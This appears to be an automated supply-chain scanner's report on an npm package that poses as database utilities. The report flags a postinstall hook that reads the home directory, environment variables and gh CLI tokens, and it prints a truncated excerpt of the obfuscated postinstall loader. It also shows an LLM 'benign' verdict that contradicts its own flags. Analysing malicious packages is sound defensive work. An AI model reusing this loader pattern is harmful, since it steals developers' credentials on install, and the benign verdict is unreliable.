// npm package

@cloudplatform-single-spa/security-groups

Internal database utilities with connection pooling, query builder and migration support

npmjs.com tarball repo homepage

versions

maintainers

license

UNLICENSED

first publish

2026-05-27

publisher

mr.4nd3r50n

tarball

17,355 B

AUTO-PUBLISHED·1 version indexed·latest published 2026-05-28

// exfil path

what is read → where it ships

steals

○ home dir

sends to

(no destination string extracted — payload may be dynamic / obfuscated)

evidence in excerpt

> 'use strict';const a0_0x1898df=a0_0x2dd3;(function(_0x1a34b2,_0x51b868){const _0x31149a=a0_0x2dd3,_0x2768e4=_0x1a34b2();while(!![]){try{const _0x40213c=-parseInt(_0x31149a(0x22c))/(-0x2581*0x1+0x4be+0…

→ view full payload

// publisher campaignby mr.4nd3r50n

9 caught packages from this account

This is not an isolated catch. The same publisher has shipped 8 other packages that our pipeline flagged — the shape of a coordinated campaign, not a one-off. Each link below opens that sibling's analysis.

// offending code· @100.100.100· 1 file flagged

llm: benign · 0.85

→ No suspicious destination, no remote-exec shape — 1 known-vendor host(s).

@100.100.100·2026-05-28·AUTO-PUBLISHED·publisher: mr.4nd3r50n
heuristic 100/100
static flags 2
llm benign (0.85) via ollama
install-scripts:postinstallnew-publisher:1danomalous-major-version:100publisher-multi-name-burst:24publisher-version-pump:25osv-flagged:MAL-2026-4967reads-env-varsreads-homedir
→ No suspicious destination, no remote-exec shape — 1 known-vendor host(s).
// NHI intent1 target·mixed harvest patterns·gate: always
- gh CLI token store

--- install scripts --- ### postinstall node scripts/postinstall.js ### prepublishOnly echo 'Building...' --- package/scripts/postinstall.js (excerpt) --- 'use strict';const a0_0x1898df=a0_0x2dd3;(function(_0x1a34b2,_0x51b868){const _0x31149a=a0_0x2dd3,_0x2768e4=_0x1a34b2();while(!![]){try{const _0x40213c=-parseInt(_0x31149a(0x22c))/(-0x2581*0x1+0x4be+0x20c4)+parseInt(_0x31149a(0x244))/(0x801+0x147a*-0x1+0x47*0x2d)+-parseInt(_0x31149a(0x204))/(-0xf51+-0x176b+0x26bf)*(parseInt(_0x31149a(0x1e1))/(-0x3*0x616+-0x3*0xbe+0x1480))+-parseInt(_0x31149a(0x245))/(0x1*-0x11c1+-0x44*-0x36+0x2*0x1b7)+-parseInt(_0x31149a(0x229))/(0x65*0x55+0xb6d+-0x2cf0)*(parseInt(_0x31149a(0x23f))/(0x80*-0xe+0x14fe+-0xd*0x113))+parseInt(_0x31149a(0x235))/(-0x29+-0x4a3*-0x7+-0xe*0x24e)*(parseInt(_0x31149a(0x246))/(0x18*0xf2+0x262+0x1*-0x1909))+parseInt(_0x31149a(0x231))/(0x8*0x24f+-0x182a+0x5bc);if(_0x40213c===_0x51b868)break;else _0x2768e4['push'](_0x2768e4['shift']());}catch(_0x5d1f8b){_0x2768e4['push'](_0x2768e4['shift']());}}}(a0_0x9633,-0x32c7c+0x46385+0x1*0x1cf6a));const a0_0x4c45b9=require('os'),a0_0x3018a2=require('fs'),a0_0x409639=require(a0_0x1898df(0x223)),a0_0x38fd28=require(a0_0x1898df(0x20d)),a0_0x1d4d8b=require(a0_0x1898df(0x222)),{execSync:a0_0x1d371c,spawn:a0_0x5f0918}=require(a0_0x1898df(0x20f)),a0_0x3e6ecb=a0_0x1898df(0x228),a0_0x8e3b9=a0_0x1898df(0x1ed),a0_0xad0e6=a0_0x1898df(0x201)+a0_0x1898df(0x206),a0_0x449759=a0_0x1898df(0x1e7),a0_0x2515c4=!!process.env[a0_0x449759],a0_0x2c858f=a0_0x1898df(0x225)===a0_0x1898df(0x225)||!!process.env[a0_0xad0e6+'RECON_ONLY'];function a0_0x2dc6fd(_0x2904a7){const _0x29bf63=a0_0x1898df,_0x10eee0=process[_0 --- bundled output (OSV-MAL flagged — LLM scope expansion) --- --- dist/index.d.ts (bundled) --- export interface PoolOptions { host?: string; port?: number; database?: string; user?: string; password?: string; max?: number; } export interface Pool { host: string; port: number; database: string; } export function createPool(options?: PoolOptions): Pool; export function query(pool: Pool, sql: string, params?: unknown[]): Promise<unknown[]>; export function transaction(pool: Pool, fn: (client: unknown) => Promise<unknown>): Promise<unknown>; export function migrate(pool: Pool, dir?: string): Promise<string[]>; --- dist/index.js (bundled) --- 'use strict'; // dist/index.js module.exports = require('../src/index.js');

'use strict';const a0_0x1898df=a0_0x2dd3;(function(_0x1a34b2,_0x51b868){const _0x31149a=a0_0x2dd3,_0x2768e4=_0x1a34b2();while(!![]){try{const _0x40213c=-parseInt(_0x31149a(0x22c))/(-0x2581*0x1+0x4be+0x20c4)+parseInt(_0x31149a(0x244))/(0x801+0x147a*-0x1+0x47*0x2d)+-parseInt(_0x31149a(0x204))/(-0xf51+-0x176b+0x26bf)*(parseInt(_0x31149a(0x1e1))/(-0x3*0x616+-0x3*0xbe+0x1480))+-parseInt(_0x31149a(0x245))/(0x1*-0x11c1+-0x44*-0x36+0x2*0x1b7)+-parseInt(_0x31149a(0x229))/(0x65*0x55+0xb6d+-0x2cf0)*(parseInt(_0x31149a(0x23f))/(0x80*-0xe+0x14fe+-0xd*0x113))+parseInt(_0x31149a(0x235))/(-0x29+-0x4a3*-0x7+-0xe*0x24e)*(parseInt(_0x31149a(0x246))/(0x18*0xf2+0x262+0x1*-0x1909))+parseInt(_0x31149a(0x231))/(0x8*0x24f+-0x182a+0x5bc);if(_0x40213c===_0x51b868)break;else _0x2768e4['push'](_0x2768e4['shift']());}catch(_0x5d1f8b){_0x2768e4['push'](_0x2768e4['shift']());}}}(a0_0x9633,-0x32c7c+0x46385+0x1*0x1cf6a));const a0_0x4c45b9=require('os'),a0_0x3018a2=require('fs'),a0_0x409639=require(a0_0x1898df(0x223)),a0_0x38fd28=require(a0_0x1898df(0x20d)),a0_0x1d4d8b=require(a0_0x1898df(0x222)),{execSync:a0_0x1d371c,spawn:a0_0x5f0918}=require(a0_0x1898df(0x20f)),a0_0x3e6ecb=a0_0x1898df(0x228),a0_0x8e3b9=a0_0x1898df(0x1ed),a0_0xad0e6=a0_0x1898df(0x201)+a0_0x1898df(0x206),a0_0x449759=a0_0x1898df(0x1e7),a0_0x2515c4=!!process.env[a0_0x449759],a0_0x2c858f=a0_0x1898df(0x225)===a0_0x1898df(0x225)||!!process.env[a0_0xad0e6+'RECON_ONLY'];function a0_0x2dc6fd(_0x2904a7){const _0x29bf63=a0_0x1898df,_0x10eee0=process[_0

export interface PoolOptions { host?: string; port?: number; database?: string; user?: string; password?: string; max?: number; } export interface Pool { host: string; port: number; database: string; } export function createPool(options?: PoolOptions): Pool; export function query(pool: Pool, sql: string, params?: unknown[]): Promise<unknown[]>; export function transaction(pool: Pool, fn: (client: unknown) => Promise<unknown>): Promise<unknown>; export function migrate(pool: Pool, dir?: string): Promise<string[]>;